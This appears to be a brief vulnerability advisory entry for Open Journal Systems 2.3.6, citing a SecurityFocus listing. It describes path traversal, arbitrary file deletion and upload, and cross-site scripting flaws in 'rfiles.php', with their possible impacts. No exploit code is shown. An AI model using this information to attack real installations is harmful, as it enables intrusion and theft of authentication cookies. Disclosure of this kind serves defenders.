Open Journal Systems (OJS) 2.3.6 - 'rfiles.php' Traversal Arbitrary File Manipulation

source: https://www.securityfocus.com/bid/52666/info
    
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
    
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
    
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected.
